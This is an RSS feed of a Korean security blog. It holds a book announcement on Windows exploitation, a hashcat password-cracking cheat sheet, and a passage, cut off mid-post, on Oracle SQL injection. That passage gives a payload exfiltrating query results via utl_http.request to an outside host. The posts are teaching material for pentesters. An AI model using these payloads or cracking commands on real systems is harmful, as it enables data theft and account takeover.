<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>Hyunmini</title>
    <link>https://hyunmini.tistory.com/</link>
    <description>- 삽질은 배신하지 않는다.
- http://cafe.naver.com/secuholic 운영
- NULL@ROOT</description>
    <language>ko</language>
    <pubDate>Mon, 22 Jun 2026 03:16:02 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>hyunmini</managingEditor>
    <image>
      <title>Hyunmini</title>
      <url>https://t1.daumcdn.net/cfile/tistory/13788539501AB31D1B</url>
      <link>https://hyunmini.tistory.com</link>
    </image>
    <item>
      <title>[개정판] &amp;quot;윈도우 시스템 해킹 가이드: 버그헌팅과 익스플로잇&amp;quot; 출간 안내</title>
      <link>https://hyunmini.tistory.com/133</link>
      <description>&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;안녕하세요. hyunmini 입니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;초판이 모두 판매되어 절판되었던 &quot;윈도우 시스템 해킹 가이드: 버그헌팅과 익스플로잇&quot; 개정판이 출간되었습니다!!&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;2019.12.05 부터 온/오프라인 서점에서 구매 가능합니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://book.naver.com/bookdb/book_detail.nhn?bid=15909324&quot;&gt;https://book.naver.com/bookdb/book_detail.nhn?bid=15909324&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1575468028926&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-og-type=&quot;article&quot; data-og-title=&quot;윈도우 시스템 해킹 가이드 버그헌팅과 익스플로잇&quot; data-og-description=&quot;이 책은 윈도우 시스템 해킹을 따라하기 방식으로 쉽게 배우고, 중급자와 보안 엔지니어가실무에서 활용할 수 있도록 구성된 책이다. 시스템 해킹에 입문하는 초보자들은 어렵게만 느껴지는 어셈블리어와 디버거의 벽에 가로막혀서 중도에 포기한다. 그리고 중급자는 적절한 전문 서적과 가이드가 부족해서 시스템 해킹 지식을 넓히는 데 어려움을 겪는다. 또한 실무에서 활용해야 하는 분들은 제대로 된 분석 예제와 기법을 몰라서 이를 찾는 데 시간을 허비한다. 이 책은 이 모&quot; data-og-host=&quot;book.naver.com&quot; data-og-source-url=&quot;https://book.naver.com/bookdb/book_detail.nhn?bid=15909324&quot; data-og-url=&quot;http://book.naver.com/bookdb/book_detail.nhn?bid=15909324&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/cfBoDe/hyDXWrVPLi/KS0rgYRA43kUSgaCovHEmk/img.jpg?width=140&amp;amp;height=191&amp;amp;face=0_0_140_191&quot;&gt;&lt;a href=&quot;http://book.naver.com/bookdb/book_detail.nhn?bid=15909324&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://book.naver.com/bookdb/book_detail.nhn?bid=15909324&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/cfBoDe/hyDXWrVPLi/KS0rgYRA43kUSgaCovHEmk/img.jpg?width=140&amp;amp;height=191&amp;amp;face=0_0_140_191');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot;&gt;윈도우 시스템 해킹 가이드 버그헌팅과 익스플로잇&lt;/p&gt;
&lt;p class=&quot;og-desc&quot;&gt;이 책은 윈도우 시스템 해킹을 따라하기 방식으로 쉽게 배우고, 중급자와 보안 엔지니어가실무에서 활용할 수 있도록 구성된 책이다. 시스템 해킹에 입문하는 초보자들은 어렵게만 느껴지는 어셈블리어와 디버거의 벽에 가로막혀서 중도에 포기한다. 그리고 중급자는 적절한 전문 서적과 가이드가 부족해서 시스템 해킹 지식을 넓히는 데 어려움을 겪는다. 또한 실무에서 활용해야 하는 분들은 제대로 된 분석 예제와 기법을 몰라서 이를 찾는 데 시간을 허비한다. 이 책은 이 모&lt;/p&gt;
&lt;p class=&quot;og-host&quot;&gt;book.naver.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;개정판에서는 크래시 분석 자동화, DBI, Win10 x64 Exploit, 브라우저 Infoleak, OOB Exploit 기술 등 다양한 내용이 약 100여 페이지에 걸쳐서 추가되었습니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;많이 부족하지만 윈도우 환경에서 초급-중급 시스템 해킹 기술을 공부하는데 도움이 되길 바랍니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;(개정판 추가 내용)&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Section 05. 버그헌팅 자동화&lt;/b&gt;&lt;br /&gt;1. 바이너리 분석 자동화&lt;br /&gt;2. Dynamic Binary Instrumentation&lt;br /&gt;3. Taint Analysis&lt;br /&gt;4. Crash 분류 자동화와 중복 제거&lt;br /&gt;5. Code Coverage 높이기&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Part 07. 고급 Exploit 기법&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Section 01. x64 Exploit&lt;/b&gt;&lt;br /&gt;1. x64 의 이해&lt;br /&gt;2. syswow64 exploit&lt;br /&gt;3. windows 10 x64 exploit&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Section 02. 웹브라우저 Exploit&lt;/b&gt;&lt;br /&gt;1. 웹브라우저 메모리 보호기법&lt;br /&gt;2. CVE 취약점을 활용한 Infoleak&lt;br /&gt;3. Godmode 를 이용한 Exploit&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Windows System Hacking</category>
      <author>hyunmini</author>
      <guid isPermaLink="true">https://hyunmini.tistory.com/133</guid>
      <comments>https://hyunmini.tistory.com/133#entry133comment</comments>
      <pubDate>Wed, 4 Dec 2019 23:02:08 +0900</pubDate>
    </item>
    <item>
      <title>hashcat 간단 정리</title>
      <link>https://hyunmini.tistory.com/132</link>
      <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;가끔 인젝션으로 해쉬값을 빼낸 후 크랙을 해야 할 경우가 있다.&amp;nbsp;&lt;/p&gt;&lt;p&gt;(거의 대부분 데이터베이스에 비밀번호는 해쉬값 또는 암호화 해서 넣어놓기 때문에 사실 거의 필수적으로)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;john-the-ripper 를 가장 많이 쓰고 또 유명하지만 간혹 점검 환경에 의해 사용하지 못할수도 있기에 hashcat 도 간략히 정리해둔다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 24pt;&quot;&gt;hashcat 기본&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 24pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;hyunmini@~$ hashcat&amp;nbsp; -h&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;hashcat - advanced password recovery&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Usage: hashcat [options]... hash|hashfile|hccapxfile [dictionary|mask|directory]...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;- [ Options ] -&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;Options Short / Long&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| Type | Description&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | Example&lt;/p&gt;&lt;p&gt;================================+======+======================================================+=======================&lt;/p&gt;&lt;p&gt;&amp;nbsp;-m, --hash-type&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | Num&amp;nbsp; | Hash-type, see references below&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | -m 1000&lt;/p&gt;&lt;p&gt;&amp;nbsp;-a, --attack-mode&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | Num&amp;nbsp; | Attack-mode, see references below&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | -a 3&lt;/p&gt;&lt;p&gt;&amp;nbsp;-V, --version&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&amp;nbsp; &amp;nbsp; &amp;nbsp; | Print version&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;/p&gt;&lt;p&gt;&amp;nbsp;-h, --help&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;|&amp;nbsp; &amp;nbsp; &amp;nbsp; | Print help&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;|&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;--quiet&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&amp;nbsp; &amp;nbsp; &amp;nbsp; | Suppress output&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;--hex-charset&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&amp;nbsp; &amp;nbsp; &amp;nbsp; | Assume charset is given in hex&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;|&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;--hex-salt&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;|&amp;nbsp; &amp;nbsp; &amp;nbsp; | Assume salt is given in hex&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;옵션이 어마어마하게 많기 때문에 가장 중요한 몇가지만 정리해둔다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 18pt;&quot;&gt;-m :&amp;nbsp; &amp;nbsp;크랙하려는 해시가 어떤 것인지 지정&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; # | Name&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| Category&amp;nbsp; ======+==================================================+================================&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; 900 | MD4&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | Raw Hash&lt;/p&gt;&lt;p&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; 0 | MD5&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | Raw Hash&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;5100 | Half MD5&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| Raw Hash&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; 100 | SHA1&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| Raw Hash&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;1300 | SHA-224&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | Raw Hash&lt;/p&gt;&lt;p&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp;1400 | SHA-256&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | Raw Hash&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 18pt;&quot;&gt;-a : attack mode, brute/dictionay/hybrid 등&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;- [ Attack Modes ] -&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; # | Mode&lt;/p&gt;&lt;p&gt;&amp;nbsp;===+======&lt;/p&gt;&lt;p&gt;&amp;nbsp; 0 | Straight&lt;/p&gt;&lt;p&gt;&amp;nbsp; 1 | Combination&lt;/p&gt;&lt;p&gt;&lt;b&gt;&amp;nbsp; 3 | Brute-force&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&amp;nbsp; 6 | Hybrid Wordlist + Mask&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; 7 | Hybrid Mask + Wordlist&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;3 은 무작위 대입, 6은 워드리스트 + 마스크 요 2개 정도가 많이 사용될 듯 하다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;mask 는 문자열 타입을 지정해주는 기능인데, 아래와 같이 미리 지정된 문자열 셋이 있고, 직접 지정해줄 수도 있다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 18pt;&quot;&gt;Charset (mask 지정시 사용)&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;- [ Built-in Charsets ] -&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; ? | Charset&lt;/p&gt;&lt;p&gt;&amp;nbsp;===+=========&lt;/p&gt;&lt;p&gt;&amp;nbsp; l | abcdefghijklmnopqrstuvwxyz&lt;/p&gt;&lt;p&gt;&amp;nbsp; u | ABCDEFGHIJKLMNOPQRSTUVWXYZ&lt;/p&gt;&lt;p&gt;&amp;nbsp; d | 0123456789&lt;/p&gt;&lt;p&gt;&amp;nbsp; h | 0123456789abcdef&lt;/p&gt;&lt;p&gt;&amp;nbsp; H | 0123456789ABCDEF&lt;/p&gt;&lt;p&gt;&amp;nbsp; s |&amp;nbsp; !&quot;#$%&amp;amp;'()*+,-./:;&amp;lt;=&amp;gt;?@[\]^_`{|}~&lt;/p&gt;&lt;p&gt;&amp;nbsp; a | ?l?u?d?s&lt;/p&gt;&lt;p&gt;&amp;nbsp; b | 0x00 - 0xff&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;?l?l?l&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;//&amp;nbsp; 소문자로만 이루어진 3개의 글자 - ex: abc, adm, tes,...&lt;/p&gt;&lt;p&gt;?l?l?l?d&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;//&amp;nbsp; 소문자 3글자, 숫자1글자 - ex: abc0, kkk5,...&lt;/p&gt;&lt;p&gt;?l?l?l?l?l?l?l?s&amp;nbsp; &amp;nbsp;// 소문자7글자, 특수문자1글자 - ex: testabc!,...&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 18pt;&quot;&gt;-D : 크랙 연산에 사용할 processing unit 지정(CPU, GPU)&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; # | Device Type&lt;/p&gt;&lt;p&gt;&amp;nbsp;===+=============&lt;/p&gt;&lt;p&gt;&amp;nbsp; 1 | CPU&lt;/p&gt;&lt;p&gt;&amp;nbsp; 2 | GPU&lt;/p&gt;&lt;p&gt;&amp;nbsp; 3 | FPGA, DSP, Co-Processor&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;GPU 있다면 2, CPU 면 1 로 지정. 가끔 디바이스가 없다며 에러가 날 때가 있는데, --force 옵션을 추가로&amp;nbsp;적어주면 그냥 CPU로 지정되는듯 하다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 18pt;&quot;&gt;이외 유용한 옵션들&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;--pw-min 6 --pw-max 9&amp;nbsp; &amp;nbsp; //&amp;nbsp; 크랙 시도 문자 길이 지정&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;경험상 10자리 이상은 일반 PC에서는 크랙이 어려움. 다만 dictionary + brute 라면 어느정도 크랙 가능, 또는&amp;nbsp;GPU로 돌리면 10자리 정도도 어느정도 크랙 가능&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;-i --increment-min=4 --increment-min=8&amp;nbsp; &amp;nbsp; //&amp;nbsp; mask 길이값을 변경해가면서 시도함&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 18pt;&quot;&gt;사용 예시&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;#&amp;nbsp;hashcat -a 3 -m 0 example0.hash ?a?a?a?a?a?a&amp;nbsp; &amp;nbsp; // bruteforce 6 length&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;# hashcat -m 0 -a 1 hash.lst dict.txt&amp;nbsp; &amp;nbsp;// combine(dictionary + straight ?)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;# hashcat -m 1400 -a 6 hash.lst dict.txt ?l?l?l?l?l?l?a?a&amp;nbsp; &amp;nbsp; &amp;nbsp;// hybrid ( dict + brute mask )&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이상. 또 필요한 부분이 있으면 정리..&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Pentesting</category>
      <author>hyunmini</author>
      <guid isPermaLink="true">https://hyunmini.tistory.com/132</guid>
      <comments>https://hyunmini.tistory.com/132#entry132comment</comments>
      <pubDate>Thu, 21 Feb 2019 13:26:12 +0900</pubDate>
    </item>
    <item>
      <title>SQL인젝션 - XXE를 이용한 OOB</title>
      <link>https://hyunmini.tistory.com/131</link>
      <description>&lt;p style=&quot;line-height: 1.8;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.8;&quot;&gt;최근 SQL인젝션을 다양한 방법으로 확장 공격해보고 있는데,&amp;nbsp; XML 함수를 이용하여 마치 XXE 처럼 공격할 수 있는 방법이 있어서 정리해둔다.&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;line-height: 1.8;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.8;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.8;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 18pt;&quot;&gt;BlindSQL 인젝션&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.8;&quot;&gt;ex) 7777 and 1=1 from dual--&lt;/p&gt;&lt;p style=&quot;line-height: 1.8;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.8;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.8;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 18pt;&quot;&gt;OOB (Out of Band)&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.8;&quot;&gt;OOB란 외부 채널로 데이터를 빼내는 방식을 말한다. blind 일때 데이터를 빼내려면 쿼리를 6~7번 해야 겨우 1글자를 알아낼 수 있는 반면, OOB를 이용하면 쿼리1번에 데이터를 다 뽑아올수도 있다. 즉 속도 면에서 Blind 방식 대비 훨씬 빠르다는 장점이 있다.&lt;/p&gt;&lt;p style=&quot;line-height: 1.8;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.8;&quot;&gt;ex) and 1=(select &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;utl_http.request('http://www.secuholic.com/'||&lt;span style=&quot;color: rgb(0, 85, 255);&quot;&gt;&lt;b&gt;(select user from dual)&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;)&lt;/span&gt; from dual) from dual --&lt;/p&gt;&lt;p style=&quot;line-height: 1.8;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.8;&quot;&gt;이렇게 하면 www.secuholic.com 웹서버에 (select user from dual) 의 결과값인 hyunmini 가 추가된 GET요청을 날리게 되고, 서버에서 웹로그를 확인하면 해당 쿼리의 결과를 확인할 수 있게 되는 원리이다. 같은 원리로 dns 요청을 날리는 방법도 존재한다.&lt;/p&gt;&lt;p style=&quot;line-height: 1.8;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.8;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 